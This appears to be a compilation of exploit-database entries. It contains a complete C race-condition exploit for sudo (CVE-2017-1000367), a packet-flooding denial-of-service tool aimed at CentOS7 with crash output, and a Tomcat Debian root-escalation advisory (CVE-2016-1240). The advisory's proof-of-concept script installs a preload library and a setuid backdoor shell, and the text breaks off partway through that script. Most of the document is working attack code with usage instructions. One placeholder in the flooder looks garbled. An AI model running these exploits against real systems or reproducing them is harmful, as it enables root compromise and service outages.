Sudo 1.8.20 – ‘get_process_ttyname()’ Privilege Escalation

/*
 *
 * Linux_sudo_CVE-2017-1000367.c
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <paths.h>
#include <pty.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define SUDO_BINARY "/usr/bin/sudo"
#define TARGET_FILE "/etc/init.d/README"
#define SELINUX_ROLE "unconfined_r"
#define WORKING_DIR "/dev/shm/_tmp"
#define TTY_SYMLINK WORKING_DIR "/_tty"
#define TTY_SYMLINK_ TTY_SYMLINK "_"
#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)
int
main(const int my_argc, const char * const my_argv[])
{
    if (my_argc <= 1) die();
    if (my_argc >= INT_MAX/2) die();
    char comm[sizeof(WORKING_DIR) + 16];
    char pts[PATH_MAX];
    #define PTS_NUM 32
    int pts_fds[2 * PTS_NUM];
    unsigned int i = PTS_NUM;
    while (i--) {
        int ptm_fd;
        if (openpty(&ptm_fd, &pts_fds[i], pts, NULL, NULL)) die();
        if (close(ptm_fd)) die();
    }
    struct stat sbuf;
    if (fstat(*pts_fds, &sbuf)) die();
    if (!S_ISCHR(sbuf.st_mode)) die();
    if (sbuf.st_rdev <= 0) die();
    if ((unsigned int)snprintf(comm, sizeof(comm), "%s/     %lu ", WORKING_DIR, (unsigned long)sbuf.st_rdev)
                                  >= sizeof(comm)) die();
    for (i = 0; i < PTS_NUM; i++) {
        if (close(pts_fds[i])) die();
    }
    if (mkdir(WORKING_DIR, 0700)) die();
    if (symlink(pts, TTY_SYMLINK)) die();
    if (symlink(TARGET_FILE, TTY_SYMLINK_)) die();
    if (symlink(SUDO_BINARY, comm)) die();
    const int inotify_fd = inotify_init1(IN_CLOEXEC);
    if (inotify_fd <= -1) die();
    const int working_wd = inotify_add_watch(inotify_fd, WORKING_DIR, IN_OPEN | IN_CLOSE_NOWRITE);
    if (working_wd <= -1) die();
    const int cpu = sched_getcpu();
    if (cpu >= CPU_SETSIZE) die();
    if (cpu < 0) die();
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(cpu, &cpu_set);
    if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) die();
    const pid_t pid = fork();
    if (pid <= -1) die();
    if (pid == 0) {
        const unsigned int argc = 3 + my_argc - 1;
        char ** const argv = calloc(argc + 1, sizeof(char *));
        if (!argv) die();
        argv[0] = comm;
        argv[1] = "-r";
        argv[2] = SELINUX_ROLE;
        memcpy(&argv[3], &my_argv[1], my_argc * sizeof(char *));
        if (argv[argc]) die();
        if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();
        static const struct sched_param sched_param = { .sched_priority = 0 };
        (void) sched_setscheduler(0, SCHED_IDLE, &sched_param);
        execve(*argv, argv, NULL);
        die();
    }
    struct inotify_event event;
    if (read(inotify_fd, &event, sizeof(event)) != (ssize_t)sizeof(event)) die();
    if (kill(pid, SIGSTOP)) die();
    if (event.wd != working_wd) die();
    if (event.mask != (IN_OPEN | IN_ISDIR)) die();
    for (i = 0; ; i++) {
        if (i >= sizeof(pts_fds) / sizeof(*pts_fds)) die();
        int ptm_fd;
        char tmp[PATH_MAX];
        if (openpty(&ptm_fd, &pts_fds[i], tmp, NULL, NULL)) die();
        if (!strcmp(tmp, pts)) break;
        if (close(ptm_fd)) die();
    }
    while (i--) {
        if (close(pts_fds[i])) die();
    }
    if (kill(pid, SIGCONT)) die();
    if (read(inotify_fd, &event, sizeof(event)) != (ssize_t)sizeof(event)) die();
    if (kill(pid, SIGSTOP)) die();
    if (event.wd != working_wd) die();
    if (event.mask != (IN_CLOSE_NOWRITE | IN_ISDIR)) die();
    if (rename(TTY_SYMLINK_, TTY_SYMLINK)) die();
    if (kill(pid, SIGCONT)) die();
    int status = 0;
    if (waitpid(pid, &status, WUNTRACED) != pid) die();
    if (!WIFEXITED(status)) die();
    if (unlink(comm)) die();
    if (unlink(TTY_SYMLINK)) die();
    if (rmdir(WORKING_DIR)) die();
    exit(WEXITSTATUS(status));
}

Linux Kernel 3.10.0 (CentOS7) – Denial of Service

#####
#Exploit Title: CentOS7 Kernel Crashing by rsyslog daemon vulnerability | DOS on CentOS7
#Exploit Author: Hosein Askari (FarazPajohan)
#Vendor HomePage: https://www.centos.org/
#Version : 7
#Tested on: Parrot OS
#Date: 12-2-2017
#Category: Operating System
#Vulnerable Daemon: RSYSLOG
#Author Mail :[email protected]
#Description:
#The CentOS7's kernel is disrupted by vulnerability on rsyslog daemon, in which the cpu usage will be 100% until the remote exploit launches on the victim's #server.
****************************
#Exploit Command :
# ~~~#exploit.out -T3 -h <victim_ip> -p [514,514] // You can run this exploit on both "514 TCP/UDP"
#
#Exploit Code :
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#ifdef F_PASS
#include <sys/stat.h>
#endif
#include <netinet/in_systm.h>
#include <sys/socket.h>
#include <string.h>
#include <time.h>
#ifndef __USE_BSD
# define __USE_BSD
#endif
#ifndef __FAVOR_BSD
# define __FAVOR_BSD
#endif
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#ifdef LINUX
# define FIX(x) htons(x)
#else
# define FIX(x) (x)
#endif
#define TCP_ACK 1
#define TCP_FIN 2
#define TCP_SYN 4
#define TCP_RST 8
#define UDP_CFF 16
#define ICMP_ECHO_G 32
#define TCP_NOF 64
#define TCP_URG 128
#define TH_NOF 0x0
#define TCP_ATTACK() (a_flags & TCP_ACK ||\
a_flags & TCP_FIN ||\
a_flags & TCP_SYN ||\
a_flags & TCP_RST ||\
a_flags & TCP_NOF ||\
a_flags & TCP_URG )
#define UDP_ATTACK() (a_flags & UDP_CFF)
#define ICMP_ATTACK() (a_flags & ICMP_ECHO_G)
#define CHOOSE_DST_PORT() dst_sp == 0 ?\
random () :\
htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
#define CHOOSE_SRC_PORT() src_sp == 0 ?\
random () :\
htons(src_sp + (random() % (src_ep -src_sp +1)));
#define SEND_PACKET() if (sendto(rawsock,\
&packet,\
(sizeof packet),\
0,\
(struct sockaddr *)&target,\
sizeof target) < 0) {\
perror("sendto");\
exit(-1);\
}
#define BANNER_CKSUM 54018
u_long lookup(const char *host);
unsigned short in_cksum(unsigned short *addr, int len);
static void inject_iphdr(struct ip *ip, u_char p, u_char len);
char *class2ip(const char *class);
static void send_tcp(u_char th_flags);
static void send_udp(u_char garbage);
static void send_icmp(u_char garbage);
char *get_plain(const char *crypt_file, const char *xor_data_key);
static void usage(const char *argv0);
u_long dstaddr;
u_short dst_sp, dst_ep, src_sp, src_ep;
char *src_class, *dst_class;
int a_flags, rawsock;
struct sockaddr_in target;
const char *banner = "Written By C0NSTANTINE";
struct pseudo_hdr {
u_long saddr, daddr;
u_char mbz, ptcl;
u_short tcpl;
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct {
int gv;
int kv;
void (*f)(u_char);
} a_list[] = {
{ TCP_ACK, TH_ACK, send_tcp },
{ TCP_FIN, TH_FIN, send_tcp },
{ TCP_SYN, TH_SYN, send_tcp },
{ TCP_RST, TH_RST, send_tcp },
{ TCP_NOF, TH_NOF, send_tcp },
{ TCP_URG, TH_URG, send_tcp },
{ UDP_CFF, 0, send_udp },
{ ICMP_ECHO_G, ICMP_ECHO, send_icmp },
{ 0, 0, (void *)NULL },
};
int
main(int argc, char *argv[])
{
int n, i, on = 1;
int b_link;
#ifdef F_PASS
struct stat sb;
#endif
unsigned int until;
a_flags = dstaddr = i = 0;
dst_sp = dst_ep = src_sp = src_ep = 0;
until = b_link = -1;
src_class = dst_class = NULL;
while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) {
char *p;
switch (n) {
case 'T':
switch (atoi(optarg)) {
case 0: a_flags |= TCP_ACK; break;
case 1: a_flags |= TCP_FIN; break;
case 2: a_flags |= TCP_RST; break;
case 3: a_flags |= TCP_SYN; break;
case 4: a_flags |= TCP_URG; break;
}
break;
case 'U':
a_flags |= UDP_CFF;
break;
case 'I':
a_flags |= ICMP_ECHO_G;
break;
case 'N':
a_flags |= TCP_NOF;
break;
case 's':
src_class = optarg;
break;
case 'h':
dstaddr = lookup(optarg);
break;
case 'd':
dst_class = optarg;
i = 1;
break;
case 'p':
if ( (p = (char *) strchr(optarg, ',')) == NULL)
usage(argv[0]);
dst_sp = atoi(optarg);
dst_ep = atoi(p +1);
break;
case 'q':
if ( (p = (char *) strchr(optarg, ',')) == NULL)
usage(argv[0]);
src_sp = atoi(optarg);
src_ep = atoi(p +1);
break;
case 'l':
b_link = atoi(optarg);
if (b_link <= 0 || b_link > 100)
usage(argv[0]);
break;
case 't':
until = time(0) +atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if ( (!dstaddr && !i) ||
(dstaddr && i) ||
(!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
(src_sp != 0 && src_sp > src_ep) ||
(dst_sp != 0 && dst_sp > dst_ep))
usage(argv[0]);
srandom(time(NULL) ^ getpid());
if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(-1);
}
if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
(char *)&on, sizeof(on)) < 0) {
perror("setsockopt");
exit(-1);
}
target.sin_family = AF_INET;
for (n = 0; ; ) {
if (b_link != -1 && random() % 100 +1 > b_link) {
if (random() % 200 +1 > 199)
usleep(1);
continue;
}
for (i = 0; a_list[i].f != NULL; ++i) {
if (a_list[i].gv & a_flags)
a_list[i].f(a_list[i].kv);
}
if (n++ == 100) {
if (until != -1 && time(0) >= until) break;
n = 0;
}
}
exit(0);
}
u_long
lookup(const char *host)
{
struct hostent *hp;
if ( (hp = gethostbyname(host)) == NULL) {
perror("gethostbyname");
exit(-1);
}
return *(u_long *)hp->h_addr;
}
#define RANDOM() (int) random() % 255 +1
char *
class2ip(const char *class)
{
static char ip[16];
int i, j;
for (i = 0, j = 0; class[i] != '{TEXTO}'; ++i)
if (class[i] == '.')
++j;
switch (j) {
case 0:
sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
break;
case 1:
sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
break;
case 2:
sprintf(ip, "%s.%d", class, RANDOM());
break;
default: strncpy(ip, class, 16);
break;
}
return ip;
}
unsigned short
in_cksum(unsigned short *addr, int len)
{
int nleft = len;
int sum = 0;
unsigned short *w = addr;
unsigned short answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(unsigned char *) (&answer) = *(unsigned char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
static void
inject_iphdr(struct ip *ip, u_char p, u_char len)
{
ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_p = p;
ip->ip_tos = 0x08; /* 0x08 */
ip->ip_id = random();
ip->ip_len = len;
ip->ip_off = 0;
ip->ip_ttl = 255;
ip->ip_dst.s_addr = dst_class != NULL ?
inet_addr(class2ip(dst_class)) :
dstaddr;
ip->ip_src.s_addr = src_class != NULL ?
inet_addr(class2ip(src_class)) :
random();
target.sin_addr.s_addr = ip->ip_dst.s_addr;
}
static void
send_tcp(u_char th_flags)
{
struct cksum cksum;
struct packet {
struct ip ip;
struct tcphdr tcp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
cksum.pseudo.daddr = dstaddr;
cksum.pseudo.mbz = 0;
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
cksum.pseudo.saddr = packet.ip.ip_src.s_addr;
packet.tcp.th_flags = random();
packet.tcp.th_win = random();
packet.tcp.th_seq = random();
packet.tcp.th_ack = random();
packet.tcp.th_off = 5;
packet.tcp.th_urp = 0;
packet.tcp.th_sport = CHOOSE_SRC_PORT();
packet.tcp.th_dport = CHOOSE_DST_PORT();
cksum.tcp = packet.tcp;
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));
SEND_PACKET();
}
static void
send_udp(u_char garbage)
{
struct packet {
struct ip ip;
struct udphdr udp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.udp.uh_sport = CHOOSE_SRC_PORT();
packet.udp.uh_dport = CHOOSE_DST_PORT();
packet.udp.uh_ulen = htons(sizeof packet.udp);
packet.udp.uh_sum = 0;
SEND_PACKET();
}
static void
send_icmp(u_char gargabe)
{
struct packet {
struct ip ip;
struct icmp icmp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.icmp.icmp_type = ICMP_ECHO;
packet.icmp.icmp_code = 0;
packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));
for(int pp=0;pp<=1000;pp++)
{SEND_PACKET();
pp++;
}
}
static void
usage(const char *argv0)
{
printf("%s \n", banner);
printf(" -U UDP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
printf(" -I ICMP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
printf(" -N Bogus attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
printf(" -T TCP attack \e[1;37m[\e[0m0:ACK, 1:FIN, 2:RST, 3:SYN, 4:URG\e[1;37m]\e[0m\n");
printf(" -h destination host/ip \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
printf(" -d destination class \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
printf(" -s source class/ip \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
printf(" -p destination port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
printf(" -q source port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
printf(" -l pps limiter \e[1;37m(\e[0m\e[0;31mno limit\e[0m\e[1;37m)\e[0m\n");
printf(" -t timeout \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
printf("\e[1musage\e[0m: %s [-T0 -T1 -T2 -T3 -T4 -U -I -h -p -t]\n", argv0);
exit(-1);
}
********************************
#Description :
#The Sample Output of "dmesg" is shown below :
[ 2613.161800] task: ffff88016f5cb980 ti: ffff88016f5e8000 task.ti: ffff88016f5e8000
[ 2613.161801] RIP: 0010:[<ffffffffa016963a>] [<ffffffffa016963a>] e1000_xmit_frame+0xaca/0x10b0 [e1000]
[ 2613.161808] RSP: 0018:ffff880172203530 EFLAGS: 00000286
[ 2613.161809] RAX: ffffc90008fc3818 RBX: ffffffff00000000 RCX: ffff88016d220000
[ 2613.161810] RDX: 0000000000000047 RSI: 00000000ffffffff RDI: ffff88016d220000
[ 2613.161810] RBP: ffff8801722035b0 R08: 0000000000000000 R09: 0000000002000000
[ 2613.161811] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8801722034a8
[ 2613.161812] R13: ffffffff8164655d R14: ffff8801722035b0 R15: 0000000000000000
[ 2613.161813] FS: 0000000000000000(0000) GS:ffff880172200000(0000) knlGS:0000000000000000
[ 2613.161813] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2613.161814] CR2: 00007ff8367b1000 CR3: 000000016d143000 CR4: 00000000001407f0
[ 2613.161886] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 2613.161912] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[ 2613.161913] Stack:
[ 2613.161913] ffffffff81517cf7 ffff88016eab5098 000000468151a494 0000000800000000
[ 2613.161915] 000000006d738000 ffff880100000000 0000000100001000 ffff88014e09d100
[ 2613.161916] ffff8800358aeac0 ffff88016d220000 ffff88016eab5000 ffff88016d220000
[ 2613.161918] Call Trace:
[ 2613.161919] <IRQ>
[ 2613.161923] [<ffffffff81517cf7>] ? kfree_skbmem+0x37/0x90
[ 2613.161926] [<ffffffff8152c671>] dev_hard_start_xmit+0x171/0x3b0
[ 2613.161929] [<ffffffff8154cd74>] sch_direct_xmit+0x104/0x200
[ 2613.161931] [<ffffffff8152cae6>] dev_queue_xmit+0x236/0x570
[ 2613.161933] [<ffffffff8156ae1d>] ip_finish_output+0x53d/0x7d0
[ 2613.161934] [<ffffffff8156bdcf>] ip_output+0x6f/0xe0
[ 2613.161936] [<ffffffff8156a8e0>] ? ip_fragment+0x8b0/0x8b0
[ 2613.161937] [<ffffffff81569a41>] ip_local_out_sk+0x31/0x40
[ 2613.161938] [<ffffffff8156c816>] ip_send_skb+0x16/0x50
[ 2613.161940] [<ffffffff8156c883>] ip_push_pending_frames+0x33/0x40
[ 2613.161942] [<ffffffff8159a79e>] icmp_push_reply+0xee/0x120
[ 2613.161943] [<ffffffff8159ad18>] icmp_send+0x448/0x800
[ 2613.161945] [<ffffffff8156c816>] ? ip_send_skb+0x16/0x50
[ 2613.161946] [<ffffffff8159a79e>] ? icmp_push_reply+0xee/0x120
[ 2613.161949] [<ffffffff8163cb5b>] ? _raw_spin_unlock_bh+0x1b/0x40
[ 2613.161950] [<ffffffff8159aafc>] ? icmp_send+0x22c/0x800
[ 2613.161952] [<ffffffffa05cf421>] reject_tg+0x3c1/0x4f8 [ipt_REJECT]
[ 2613.161966] [<ffffffff81170002>] ? split_free_page+0x22/0x200
[ 2613.161971] [<ffffffffa00920e0>] ipt_do_table+0x2e0/0x701 [ip_tables]
[ 2613.161973] [<ffffffff81518e95>] ? skb_checksum+0x35/0x50
[ 2613.161975] [<ffffffff81518ef0>] ? skb_push+0x40/0x40
[ 2613.161976] [<ffffffff81517a70>] ? reqsk_fastopen_remove+0x140/0x140
[ 2613.161978] [<ffffffff81520061>] ? __skb_checksum_complete+0x21/0xd0
[ 2613.161981] [<ffffffffa03e2036>] iptable_filter_hook+0x36/0x80 [iptable_filter]
[ 2613.161984] [<ffffffff8155c750>] nf_iterate+0x70/0xb0
[ 2613.161985] [<ffffffff8155c838>] nf_hook_slow+0xa8/0x110
[ 2613.161987] [<ffffffff81565f92>] ip_local_deliver+0xb2/0xd0
[ 2613.161988] [<ffffffff81565ba0>] ? ip_rcv_finish+0x350/0x350
[ 2613.161989] [<ffffffff815658cd>] ip_rcv_finish+0x7d/0x350
[ 2613.161990] [<ffffffff81566266>] ip_rcv+0x2b6/0x410
[ 2613.161992] [<ffffffff81565850>] ? inet_del_offload+0x40/0x40
[ 2613.161993] [<ffffffff8152a882>] __netif_receive_skb_core+0x582/0x7d0
[ 2613.161995] [<ffffffff8152aae8>] __netif_receive_skb+0x18/0x60
[ 2613.161996] [<ffffffff8152ab70>] netif_receive_skb+0x40/0xc0
[ 2613.161997] [<ffffffff8152b6e0>] napi_gro_receive+0x80/0xb0
[ 2613.162001] [<ffffffffa016803d>] e1000_clean_rx_irq+0x2ad/0x580 [e1000]
[ 2613.162005] [<ffffffffa016aa75>] e1000_clean+0x265/0x8e0 [e1000]
[ 2613.162007] [<ffffffff8152afa2>] net_rx_action+0x152/0x240
[ 2613.162009] [<ffffffff81084b0f>] __do_softirq+0xef/0x280
[ 2613.162011] [<ffffffff8164721c>] call_softirq+0x1c/0x30
[ 2613.162012] <EOI>
[ 2613.162015] [<ffffffff81016fc5>] do_softirq+0x65/0xa0
[ 2613.162016] [<ffffffff81084404>] local_bh_enable+0x94/0xa0
[ 2613.162019] [<ffffffff81123f52>] rcu_nocb_kthread+0x232/0x370
[ 2613.162021] [<ffffffff810a6ae0>] ? wake_up_atomic_t+0x30/0x30
[ 2613.162022] [<ffffffff81123d20>] ? rcu_start_gp+0x40/0x40
[ 2613.162024] [<ffffffff810a5aef>] kthread+0xcf/0xe0
[ 2613.162026] [<ffffffff810a5a20>] ? kthread_create_on_node+0x140/0x140
[ 2613.162028] [<ffffffff81645858>] ret_from_fork+0x58/0x90
[ 2613.162029] [<ffffffff810a5a20>] ? kthread_create_on_node+0x140/0x140
[ 2613.162030] Code: 14 48 8b 45 c8 48 8b 80 00 03 00 00 f6 80 98 00 00 00 03 74 16 48 8b 4d c8 41 0f b7 47 2a 41 8b 57 18 48 03 81 90 0c 00 00 89 10 <48> 83 c4 58 31 c0 5b 41 5c 41 5d 41 5e 41 5f 5d c3 0f 1f 44 00
[ 2641.184338] BUG: soft lockup - CPU#0 stuck for 22s! [rcuos/0:138]
#############################

Apache Tomcat packaging on Debian-based distros – Local Root Privilege Escalation

=============================================
– Discovered by: Dawid Golunski
– http://legalhackers.com
– dawid (at) legalhackers.com

– CVE-2016-1240
– Release date: 30.09.2016
– Revision: 1
– Severity: High
=============================================
I. VULNERABILITY
————————-

Apache Tomcat packaging on Debian-based distros – Local Root Privilege Escalation

Affected debian packages:

Tomcat 8 <= 8.0.36-2
Tomcat 7 <= 7.0.70-2
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

Ubuntu systems are also affected. See section VII. for details.
Other systems using the affected debian packages may also be affected.
II. BACKGROUND
————————-

“The Apache Tomcat® software is an open source implementation of the
Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket
technologies. The Java Servlet, JavaServer Pages, Java Expression Language
and Java WebSocket specifications are developed under the Java Community
Process.

The Apache Tomcat software is developed in an open and participatory
environment and released under the Apache License version 2.
The Apache Tomcat project is intended to be a collaboration of the
best-of-breed developers from around the world.

Apache Tomcat software powers numerous large-scale, mission-critical web
applications across a diverse range of industries and organizations.
Some of these users and their stories are listed on the PoweredBy wiki page.

http://tomcat.apache.org/
III. INTRODUCTION
————————-

Tomcat (6, 7, 8) packages provided by default repositories on Debian-based
distributions (including Debian, Ubuntu etc.) provide a vulnerable
tomcat init script that allows local attackers who have already gained access
to the tomcat account (for example, by exploiting an RCE vulnerability
in a java web application hosted on Tomcat, uploading a webshell etc.) to
escalate their privileges from tomcat user to root and fully compromise the
target system.

IV. DESCRIPTION
————————-

The vulnerability is located in the tomcat init script provided by affected
packages, normally installed at /etc/init.d/tomcatN.

The script for tomcat7 contains the following lines:

—–[tomcat7]—-

# Run the catalina.sh script as a daemon
set +e
touch “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out
chown $TOMCAT7_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out

——-[eof]——

Local attackers who have gained access to the server in the context of the
tomcat user (for example, through a vulnerability in a web application) would
be able to replace the log file with a symlink to an arbitrary system file
and escalate their privileges to root once Tomcat init script (running as root)
re-opens the catalina.out file after a service restart, reboot etc.

As attackers would already have a tomcat account at the time of exploitation,
they could also kill the tomcat processes to introduce the need for a restart.
V. PROOF OF CONCEPT EXPLOIT
————————-

——[ tomcat-rootprivesc-deb.sh ]——

#!/bin/bash
#
# Tomcat 6/7/8 on Debian-based distros – Local Root Privilege Escalation Exploit
#
# CVE-2016-1240
#
# Discovered and coded by:
#
# Dawid Golunski
# http://legalhackers.com
#
# This exploit targets Tomcat (versions 6, 7 and 8) packaging on
# Debian-based distros including Debian, Ubuntu etc.
# It allows attackers with a tomcat shell (e.g. obtained remotely through a
# vulnerable java webapp, or locally via weak permissions on webapps in the
# Tomcat webroot directories etc.) to escalate their privileges to root.
#
# Usage:
# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
#
# The exploit can used in two ways:
#
# -active (assumed by default) – which waits for a Tomcat restart in a loop and instantly
# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted.
# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
#
# -deferred (requires the -deferred switch on argv[2]) – this mode symlinks the logfile to
# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting.
# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a
# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
# then add arbitrary commands to the file which will be executed with root privileges by
# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default
# Ubuntu/Debian Tomcat installations).
#
# See full advisory for details at:
# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH=”/bin/bash”
BACKDOORPATH=”/tmp/tomcatrootsh”
PRIVESCLIB=”/tmp/privesclib.so”
PRIVESCSRC=”/tmp/privesclib.c”
SUIDBIN=”/usr/bin/sudo”

function cleanexit {
# Cleanup
echo -e “\n[+] Cleaning up…”
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $TOMCATLOG
touch $TOMCATLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload 2>/dev/null
fi
echo -e “\n[+] Job done. Exiting with code $1 \n”
exit $1
}

function ctrl_c() {
echo -e “\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation.”
cleanexit 0
}

#intro
echo -e “\033[94m \nTomcat 6/7/8 on Debian-based distros – Local Root Privilege Escalation Exploit\nCVE-2016-1240\n”
echo -e “Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m”

# Args
if [ $# -lt 1 ]; then
echo -e “\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n”
exit 3
fi
if [ “$2” = “-deferred” ]; then
mode=”deferred”
else
mode=”active”
fi

# Priv check
echo -e “\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`”
id | grep -q tomcat
if [ $? -ne 0 ]; then
echo -e “\n[!] You need to execute the exploit as tomcat user! Exiting.\n”
exit 3
fi

# Set target paths
TOMCATLOG=”$1″
if [ ! -f $TOMCATLOG ]; then
echo -e “\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn’t exist. Try again.\n”
exit 3
fi
echo -e “\n[+] Target Tomcat log file set to $TOMCATLOG”

# [ Deferred exploitation ]

# Symlink the log file to /etc/default/locale file which gets executed daily on default
# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.
# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been
# restarted and file owner gets changed.
if [ “$mode” = “deferred” ]; then
rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
if [ $? -ne 0 ]; then
echo -e “\n[!] Couldn’t remove the $TOMCATLOG file or create a symlink.”
cleanexit 3
fi
echo -e “\n[+] Symlink created at: \n`ls -l $TOMCATLOG`”
echo -e “\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`”
echo -ne “\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot”
echo -ne “\n you’ll be able to add arbitrary commands to the file which will get executed with root privileges”
echo -ne “\n at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can’t wait ;)\n\n”
exit 0
fi

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e “\n[+] Compiling the privesc shared library ($PRIVESCSRC)”
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, “geteuid”);
if ( old_geteuid() == 0 ) {
chown(“$BACKDOORPATH”, 0, 0);
chmod(“$BACKDOORPATH”, 04777);
unlink(“/etc/ld.so.preload”);
}
return old_geteuid();
}
_solibeof_
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
if [ $? -ne 0 ]; then
echo -e “\n[!] Failed to compile the privesc lib $PRIVESCSRC.”
cleanexit 2;
fi

# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e “\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`”

# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e “\n[!] /etc/ld.so.preload already exists. Exiting for safety.”
cleanexit 2
fi

# Symlink the log file to ld.so.preload
rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
if [ $? -ne 0 ]; then
echo -e “\n[!] Couldn’t remove the $TOMCATLOG file or create a symlink.”
cleanexit 3
fi
echo -e “\n[+] Symlink created at: \n`ls -l $TOMCATLOG`”

# Wait for Tomcat to re-open the logs
echo -ne “\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart…”
